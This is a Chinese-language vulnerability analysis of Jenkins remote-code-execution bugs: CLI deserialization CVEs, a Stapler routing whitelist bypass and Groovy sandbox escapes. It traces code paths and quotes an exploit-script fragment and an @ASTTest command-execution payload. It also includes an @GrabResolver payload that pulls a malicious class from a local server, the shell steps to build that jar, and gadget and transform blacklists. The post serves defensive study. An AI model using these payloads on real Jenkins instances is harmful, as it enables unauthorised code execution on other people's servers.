Jenkins RCE漏洞分析匯總

  • 2019 年 10 月 7 日
  • 筆記

No.1

聲明

由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。 雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。

No.2

前言

之前針對Jenkins沒注意看過,看到廖師傅kcon會議上講的Java沙箱逃逸就涉及到了Jenkins,包括今年開年時候orange發的Jenkins的組合拳,拖拖拉拉到了年底還沒看,所以準備開始看。

這裡根據Jenkins的漏洞觸發點做了一個歸類,一種是通過cli的方式觸發,一種是通過我們常見的http方式觸發。

No.3

環境搭建

在catalina.sh添加,或者catalina.bat內容不動用如下命令開啟,默認是開啟8000端口

用如下命令開啟

catalina.bat jpda start(Windows)

catalina.sh jpda start(linux)

No.4

漏洞分析

1.Cli方式觸發

  • CVE-2015-8103

最早開始公開Java 反序列化的時候,何使用 Apache Commons Collections 這個常用庫來構造 POP 鏈(類ROP鏈),這個在Jenkins上的例子就是這個編號,但是網上對於這個調用鏈的過程都沒有進行分析,所以這裡分析一下。

先看看之前那些exp的腳本,這裡可以看到漏洞觸發已經是和Jenkins的cli有關係,且這裡走tcp socket通信的。

response = requests.get(jenkins_web_url, headers=i_headers)

cli_port = int(response.headers['X-Jenkins-CLI-Port'])

print('[+] Found CLI listener port: "%s"' % cli_port)

sock_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = urlparse.urlparse(jenkins_web_url).netloc

try:

host, port = host.split(':')

except:

host = host

cli_listener = (socket.gethostbyname(host), cli_port)

print('[+] Connecting CLI listener %s:%s' % cli_listener)

sock_fd.connect(cli_listener)

跟進一下看看。

漏洞分析:

Jenkins cli的入口在這hudson.TcpSlaveAgentListener#ConnectionHandler,這個run構造方法,我們看到調用了p.handle方法。

handle也是一個抽象方法,這裡根據前面的Protocol選擇相關協議,這裡的協議有兩個一個是Cli,另一個是JnlpSlaveAgent。我們關注的其實是Cli這個東西。

跟進hudson.cli.CliProtocol#handle ,這裡實例化CliProtocol.Handler來處理,並且調用其中的run構造方法

public void handle(Socket socket) throws IOException, InterruptedException {

(new CliProtocol.Handler(this.nio.getHub(), socket)).run();

}

繼續hudson.cli.CliProtocol$Handler.run,這裡調用runcli針對socket連接進行處理。

繼續跟進hudson.cli.CliProtocol$Handler.runCli,這的關鍵是下圖標紅色的地方。

這裡調用hudson.remoting.ChannelBuilder#build來處理傳入的buffer緩衝區的數據,跟進這個看看。

public Channel build(InputStream is, OutputStream os) throws IOException {

return new Channel(this, this.negotiate(is, os));

}

這裡主要是調用this.negotiate來處理is和os,而is和os分別使我們緩衝區的輸入和輸出,跟進一下hudson.remoting.ChannelBuilder.negotiate

negotiate會檢查所有發往Jenkins CLI的命令中都包含某種格式的前導碼(preamble),前導碼格式通常為:<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=, 該前導碼包含一個經過base64編碼的序列化對象,我們抓個包看到這個前導碼,也看到發序列化頭部base64編碼之後的關鍵字rO0A

然後繼續循環往下走,調用Capability.read處理buffer中的內容。

跟進hudson.remoting.Capability#read,標準的反序列化的輸入點了,之後就是調用Commons Collections執行反序列化下一步的命令執行操作了。

修復方式:

hudson.remoting.ClassFilter#check會檢查是否在黑名單中。

目前默認的黑名單如下所示

private static final String[] DEFAULT_PATTERNS = new String[]{ "^bsh[.].*", "^com[.]google[.]inject[.].*", "^com[.]mchange[.]v2[.]c3p0[.].*", "^com[.]sun[.]jndi[.].*", "^com[.]sun[.]corba[.].*", "^com[.]sun[.]javafx[.].*", "^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*", "^java[.]awt[.].*", "^java[.]rmi[.].*", "^javax[.]management[.].*", "^javax[.]naming[.].*", "^javax[.]script[.].*", "^javax[.]swing[.].*", "^org[.]apache[.]commons[.]beanutils[.].*", "^org[.]apache[.]commons[.]collections[.]functors[.].*", "^org[.]apache[.]myfaces[.].*", "^org[.]apache[.]wicket[.].*", ".*org[.]apache[.]xalan.*", "^org[.]codehaus[.]groovy[.]runtime[.].*", "^org[.]hibernate[.].*", "^org[.]python[.].*", "^org[.]springframework[.](?!(\p{Alnum}+[.])*\p{Alnum}*Exception$).*", "^sun[.]rmi[.].*", "^javax[.]imageio[.].*", "^java[.]util[.]ServiceLoader$", "^java[.]net[.]URLClassLoader$"};

  • CVE-2017-1000353

漏洞編號: CVE-2017-1000353

漏洞簡述: Jenkins 未授權遠程代碼執行漏洞, 允許攻擊者將序列化的Java SignedObject對象傳輸給Jenkins CLI處理,反序列化ObjectInputStream作為Command對象,這將繞過基於黑名單的保護機制, 導致代碼執行。

影響版本: Jenkins-Ci Jenkins LTS < = 2.46.1

所以從上面這段引用可以看到,漏洞觸發還是和cli有關係,我們來詳細看看,首先入口在hudson.cli.CLIAction中,代碼根據HTTP頭部中的side的值來區分是download還是upload操作,然後根據http頭部中session裏面的uuid的值來區分不同的會話通道。

先跟進看一下download操作,位置在hudson.model.FullDuplexHttpChannel#download,下圖中已經將重要部分代碼標紅了,如果沒有接收到upload請求,那麼這時候download操作就會阻塞等待,直到upload操作過來,然後建立新的channel對象,來處理upload接收到的請求和響應。

所以這裡就要跟進Channel,前面我們說過針對cli方式觸發的時候,會調用negotiate來檢查格式是否正確,所以這裡進入構造方法,實際上是下圖中的代碼。

Channel(ChannelBuilder settings, InputStream is, OutputStream os) throws IOException {

this(settings, settings.negotiate(is, os));

}

跟進hudson.remoting.ChannelBuilder#negotiate,這裡會調用makeTransport方法。

跟進makeTransport方法,位置在hudson.remoting.ChannelBuilder#makeTransport,這個方法會根據cap是否支持Chunking來返回不同的對象,分別是ChunkedCommandTransportClassicCommandTransport

然後又進去hudson.remoting.Channel中的下圖代碼進行操作,這裡紅框圈出部分關鍵代碼。這裡會調用transport.setup處理對象CommandReceiver

而setup也是一個抽象類,會調用 hudson.remoting.SynchronousCommandTransport#setup這個回啟東一個ReaderThread線程來處理傳入的CommandReceiver對象。

public void setup(Channel channel, CommandReceiver receiver) {

this.channel = channel;

(new SynchronousCommandTransport.ReaderThread(receiver)).start();

}

跟進hudson.remoting.SynchronousCommandTransport#ReaderThread,這個方法會調用SynchronousCommandTransport.this.read

而這裡的read是個抽象類,目前這個流程中,他的實現方法在hudson.remoting.ClassicCommandTransport中。

public final Command read() throws IOException, ClassNotFoundException {

try {

Command cmd = Command.readFrom(this.channel, this.ois);

if (this.rawIn != null) {

this.rawIn.clear();

}

return cmd;

} catch (RuntimeException var2) {

throw this.diagnoseStreamCorruption(var2);

} catch (StreamCorruptedException var3) {

throw this.diagnoseStreamCorruption(var3);

}

}

那麼再跟進 hudson.remoting.Command#readFrom就找到反序列化的觸發點了。

修復方式:

我們可以看到本次修復,實際上引入了CVE-2015-8103的黑名單,並且將java.security.SignedObject本次的反序列化繞過方法加入這個黑名單中。

2.HTTP方式觸發

  • CVE-2018-1000861

動態路由分析:

首先Jenkins會將所有請求交給`org.kohsuke.stapler.Stapler`來進行處理。

<servlet>

<servlet-name>Stapler</servlet-name>

<servlet-class>org.kohsuke.stapler.Stapler</servlet-class>

<init-param>

<param-name>default-encodings</param-name>

<param-value>text/html=UTF-8</param-value>

</init-param>

<init-param>

<param-name>diagnosticThreadName</param-name>

<param-value>false</param-value>

</init-param>

<async-supported>true</async-supported>

</servlet>

跟進`org.kohsuke.stapler.Stapler`這個類中,簡單縮減一下代碼,如下所示:

protected @Override void service(HttpServletRequest req, HttpServletResponse rsp) throws ServletException, IOException {

Thread t = Thread.currentThread();

final String oldName = t.getName();

if (servletPath.startsWith(BoundObjectTable.PREFIX)) {

// serving exported objects

invoke( req, rsp, webApp.boundObjectTable, servletPath.substring(BoundObjectTable.PREFIX.length()));

return;

}

Object root = webApp.getApp();

if(root==null)

throw new ServletException("there's no "app" attribute in the application context.");

// consider reusing this ArrayList.

invoke( req, rsp, root, servletPath);

} finally {

t.setName(oldName);

}

}

其中PREFIX的值是`/$stapler/bound/`。

public static final String PREFIX = "/$stapler/bound/";

也就是說在這裡Jenkins會根據用戶傳入的URL不同,來調用不同的webapp,這裡的invoke方法中有4個參數,它們分別是:

?req:請求對象

?rsp:響應對象

?root:webapp節點

?servletPath:經過路由解析後的對象

如果url以`/$stapler/bound/`開開頭,那麼它對應的root節點對象是:`webApp.boundObjectTable(org.kohsuke.stapler.bind.BoundObjectTable)`,而這個root對象實際上如果不是動態調試靜態看代碼我是看不出來,所以我在這裡下個斷點,我可以看到這個root節點對象對應的類是 hudson.model.Hudson,而這個類正是繼承了jenkins.model.Jenkins

繼續向下跟進,跟進我們剛剛invoke方法,這個方法位置在org.kohsuke.stapler.Stapler#invoke。這個方法又調用了invoke來處理。

繼續跟進,我們可以看到這裡調用了 org.kohsuke.stapler.Stapler#tryInvoke來進行處理。

詳細跟進一下org.kohsuke.stapler.Stapler#tryInvoke這個方法,我截取部分代碼如下:

boolean tryInvoke(RequestImpl req, ResponseImpl rsp, Object node ) throws IOException, ServletException {

if(traceable())

traceEval(req,rsp,node);

if(node instanceof StaplerProxy) {

}

if (node instanceof StaplerOverridable) {

}

if(node instanceof StaplerFallback) {

}

這裡有三個根據不同的node節點進行相應操作`instanceof`,從代碼中來看順序應該是從上到下分別是:

– StaplerProxy

– StaplerOverridable

– StaplerFallback

而Jenkins這部分其實在文檔中也寫了:

所以說文檔中的描述和代碼中看到的是一致的,所以tryInvoke這個方法實際上做哦那個就是完成路由的分發,路由的綁定操作等。我們可以看看當我們傳入`/aa/bb/cc`的時候,路由是如何選擇。

當我們傳入`/aa/bb/cc`的時候,對應的root根對象是`hudson.model.Hudson`,所以這裡向根據這個node獲取一個metaClass對象,然後輪詢 MetaClass中的metaClass.dispatchers

但是這裡具體如何操作還是有點懵逼,這裡還是慢慢的跟一下,用@orange文章的白名單路由來做個文章,後面也會詳細分析,路由為`/securityRealm/user/test/` ,跟進`org.kohsuke.stapler.WebApp#getMetaClass`。

public MetaClass getMetaClass(Object o) {

return getMetaClass(getKlass(o));

}

在這裏面又調用了getKlassgetMetaClass,先看看getKlass,這裡最後的return操作實例化相關類對象,這裡對應的自然是我們前面路由分析的時候,如果url不是以`/$stapler/bound/`開頭,對應的對象自然是hudson.model.Hudson

public Klass<?> getKlass(Object o) {

return Klass.java(o.getClass());

}

我們再看看getMetaClass,在getMetaClass中首先獲取傳入的類對象,然後實例化MetaClass針對傳入的對象進行處理。

跟進MetaClass,來詳細看看,我們可以看到這就是通過我們剛剛實例化的Klass類,然後根據這個類獲取相應信息,最後使用buildDispatchers

/*package*/ MetaClass(WebApp webApp, Klass<?> klass) {

this.clazz = klass.toJavaClass();

this.klass = klass;

this.webApp = webApp;

this.baseClass = webApp.getMetaClass(klass.getSuperClass());

this.classLoader = MetaClassLoader.get(clazz.getClassLoader());

buildDispatchers();

}

跟進 org.kohsuke.stapler.MetaClass.buildDispatchers,其實從注釋裏面就知道這個方法幹啥的了。

簡單翻譯一下這個是處理路由調度的核心,他通過反射使用相關的類,並且確認由誰處理這個URL,這部分代碼很長,而且也能看得出來Jenkins給了用戶足夠多的自由度,但有時候其實就是給你的自由過了火導致的問題,從代中把這些全部梳理了出來:

<obj>.do<token>(…) and other WebMethods:do(…)或者@WebMethods標註

<obj>.doIndex(…):doIndex(…)

<obj>js<token>:js(…)

method with @JavaScriptMethod:@JavaScriptMethod標註

NODE.TOKEN

NODE.getTOKEN():get()

NODE.getTOKEN(StaplerRequest):get(StaplerRequest)

<obj>.get<Token>(String):get(String)

<obj>.get<Token>(int):get(int)

<obj>.get<Token>(long):get(long)

<obj>.getDynamic(<token>,…):ggetDynamic(…)

<obj>.doDynamic(…):doDynamic(…)

隨便找個例子,在處理node時候會先實例化 NameBasedDispatcher,然後把這個加到 dispatchers中,然後使用doDispatch處理傳過來的請求,最後通過invoke反射的方式調用相關類。

所以我們回憶一下`/securityRealm/user/test/`的解析過程,在org.kohsuke.stapler.Stapler中這裡的d.dispatch會處理傳入的請求。

try {

for( Dispatcher d : metaClass.dispatchers ) {

if(d.dispatch(req,rsp,node)) {

這裡的dispathch是一個抽象類,他的實現方法有下圖中那麼多,我們看到 NameBasedDispatcher是不是有點眼熟。

跟進 org.kohsuke.stapler.NameBasedDispatcher#dispathch這裡有個doDispatch,實際上這個也是個抽象類,主要實現還是在MetaClass中的buildDispatchers,前面我們也了解過了buildDispatchers這個方法會根據node節點的不同選擇不同的方法去實現。

這裡簡單畫個代碼流程圖吧。

所以可以看到最後在 org.kohsuke.stapler.MetaClass已經成功解析了我們傳入的第一個node節點securityRealm

緊接着解析第二個node節點時候,首先跟進這個getStapler返回的是當前stapler對象。

public Stapler getStapler() {

return stapler;

}

這裡的ff是一個`org.kohsuke.stapler.Function`對象,它保存了當前根節點中方法的各種信息。

ff.invoke處理之後會返回`Hudson.security.HudsonPrivateSecurityRealm`,然後又會把這個東西帶入到tryInvoke中進行第二次解析,就是這樣循環下去。

現在再回頭過看,我們之前用到一個payload:`/securityRealm/user/test/`,這個payload中的securityRealm是Jenkins的一個路由白名單,白名單是個什麼情況呢,我們來看看。

首先前面提到過tryInvoke的時候,會進行三個優先級不同操作:

– StaplerProxy

– StaplerOverridable

– StaplerFallback

根據優先級,首先進行的是StaplerProxy,我們詳細看看這個,這個做了一個try的操作,跟進一下getTarget()方法。

而getTarget()的實現主要在這幾個地方出現過。

在Jenkins中,入口是`jenkins.model.Jenkins`,所以跟進看看jenkins.model.Jenkins#getTarget

首先checkPermission會進行權限進行檢查,檢查是否有讀的權限,如果沒有會拋出異常,而在異常里有一個`isSubjectToMandatoryReadPermissionCheck`對路徑進行二次檢測,如果這個檢測沒通過就退出,否則正常返回。繼續跟進 jenkins.model.Jenkins#isSubjectToMandatoryReadPermissionCheck,這裡有個常量的白名單判斷。

看看這個白名單的值,所以很明顯了,如果請求的路徑在這個白名單裏面,那麼就可以繞過權限校驗。

ALWAYS_READABLE_PATHS = ImmutableSet.of("/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", new String[]{"/signup", "/tcpSlaveAgentListener", "/federatedLoginService/", "/securityRealm", "/instance-identity"});

跨物件操作導致白名單繞過:

> 1.在 Java 中, 所有的物件皆繼承 java.lang.Object這個類別, 因此所有在 Java 中的物件皆存在着 `getClass()` 這個方法。

> 2.恰巧這個方法又符合動態路由調用`get<token>(…)`的命名規則, 因此 `getClass()` 可在 Jenkins 調用鏈中被動能呼叫。

> 3.入口檢查的白名單繞過

會從上倒下依次執行

jenkins.model.Jenkins.getAdjuncts("whatever")

.getClass()

.getClassLoader()

.getResource("index.jsp")

.getContent()

從這個例子中我們看到如果是`xx.com/adjuncts/aa/bb/cc`,那麼jenkins就會去尋找getAa、getBb等相關get方法,也就是說在這裡我們可以任意操作GETTER方法。

回到最早的用來測試路由`/securityRealm/user/test`,我們也很清楚的看到這裡去尋找`jenkins.model.Jenkins.getsecurityRealm()`。

利用鏈條:

再回到orange給的這個路由`/securityRealm/user/test`,跟進去,這個我們之前聊過,根據這個路由解析過程應該是分別是getsecurityRealmgetUser,當解析getUser的時候來到的是hudson.security.HudsonPrivateSecurityRealm.getUser中。

跟進hudson.security.HudsonPrivateSecurityRealm.getUser,這裡實際上和我們的url一致了,上圖中的url實際上是user/test,這裡根據傳入的下一節點名當做 id,然後生成一個 User 出來,所以這裡將test傳入getUser構造方法中,並調用hudson.model.User進行處理,最後生成一個User出來,但是測試發現如果沒有用戶一樣能夠生成,具體原因沒有去深究。

這裡看看User的繼承關係,這裡有個

`hudson.model.DescriptorByNameOwner#getDescriptorByName`

實際上是User中寫了一個getDescriptorByName方法,是來自`hudson.model.DescriptorByNameOwner#getDescriptorByName`這個接口。

public Descriptor getDescriptorByName(String className) {

return Jenkins.getInstance().getDescriptorByName(className);

}

而這個方法中的實際上就是調用了Jenkins.getInstance().getDescriptorByName,跟進jenkins.model.Jenkins#getDescriptorByName,調用了jenkins.model.Jenkins#getDescriptor

public Descriptor getDescriptorByName(String id) {

return this.getDescriptor(id);

}

跟進jenkins.model.Jenkins#getDescriptor,這裡根據id(string)來獲取所有繼承了Descriptor的子類

也就是說實際上我們通過構造`/securityRealm/user/DescriptorByName/xxx`就可以使用了繼承了Descriptor這個的子類。

利用鏈:

Jenkins ->HudsonPrivateSecurityRealm->User->DescriptorByNameOwner->Jenkins->Descriptor

我們從登陸限制的情況下,利用這個方法可以繞過限制,從而達到未授權訪問某些功能的目的。

沙盒繞過:

SECURITY-1266:

從官方通告來看,更新了一個groovy沙盒繞過的問題。

%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec(%22open+%2fApplications%2fCalculator.app%22)%7d)%0a

class+Person%7b%7d

@GrabResolver(name='Exp', root='http://127.0.0.1:9999/')%0a

@Grab(group='demo_server.exp', module='poc', version='2')%0a

import Exp;

分別開看看,可惡意看到的觸發的類都是

`org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript`,跟進來看。

DescriptorImpl方法繼承了Descriptor,且在doCheckScript裏面,實例化了GroovyShell對象,並且輸出,根據前面的分析doCheckScript可控。

@ASTTest:執行斷言的時候執行代碼

這個和PHP的assert有點像。

Grab:引入外部惡意類

`Grape`是groovy內置的依賴管理引擎,而且在官方文檔中,我們發現它可以將root地址自行指定,從而引入惡意類。

javac Exp.java

mkdir -p META-INF/services/

echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners

jar cvf poc-2.jar Exp.class META-INF

mkdir -p ./demo_server/exp/poc/2/

mv poc-2.jar demo_server/exp/poc/2/

補丁:

private static final List<Class<? extends Annotation>> BLOCKED_TRANSFORMS = ImmutableList.of(ASTTest.class, Grab.class);

SECURITY-1292:

官方測試案例:

補丁:

SECURITY-1318:

@Grapes([@Grab(group='foo', module='bar', version='1.0')])ndef foon

@GrabConfig(autoDownload=false)ndef foon

@GrabExclude(group='org.mortbay.jetty', module='jetty-util')ndef fo

SECURITY-1319:

@GrabResolver(name='restlet.org', root='http://maven.restlet.org')ndef foon

SECURITY-1320:

"import groovy.transform.ASTTest as lolwutn" +

"import jenkins.model.Jenkinsn" +

"import hudson.model.FreeStyleProjectn" +

"@lolwut(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, "should-not-exist") })n" +

"int xn" +

"echo 'hello'n", false

"import groovy.transform.*n" +

"import jenkins.model.Jenkinsn" +

"import hudson.model.FreeStyleProjectn" +

"@groovy.transform.ASTTest(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, "should-not-exist") })n" +

"@Field int xn" +

"echo 'hello'n", false

SECURITY-1321:

import groovy.transform.*n" +

"import jenkins.model.Jenkinsn" +

"import hudson.model.FreeStyleProjectn" +

"@AnnotationCollector([ASTTest]) @interface Lol {}n" +

"@Lol(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, "should-not-exist") })n" +

"@Field int xn" +

"echo 'hello'n", false

補丁:

還是1266修復時候那個方法,增強了黑名單。

BLOCKED_TRANSFORMS =

ImmutableList.of(ASTTest.class.getCanonicalName(),

Grab.class.getCanonicalName(),

GrabConfig.class.getCanonicalName(),

GrabExclude.class.getCanonicalName(),

GrabResolver.class.getCanonicalName(),

Grapes.class.getCanonicalName(),

AnnotationCollector.class.getCanonicalName());

SECURITY-1353:

assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).getCountry()");

assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).country");

assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).getAvailableLocales()");

assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).availableLocales");

assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "(double) Math.max(2, 3)");

assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "Math.max(2, 3) as double");

assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "double x = Math.max(2, 3); x");

assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter asType java.lang.Object java.lang.Class",

"def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.asType(['/tmp'], File); echo(/$f/)");

assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter castToType java.lang.Object java.lang.Class",

"def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.castToType(['/tmp'], File); echo(/$f/)");

assertRejected(new GenericWhitelist(), "new java.io.File java.lang.String",

"def f = org.kohsuke.groovy.sandbox.impl.Checker.checkedCast(File, ['/tmp'], true, false, false); echo(/$f/)");

補丁:

在執行的時候只執行白名單,並且加強白名單和黑名單。

2.總結

可以看到這種RCE的漏洞,Jenkins從目前修復來看,基本上都是白名單、黑名單或者黑名單+白名單的方式,來解決問題。

END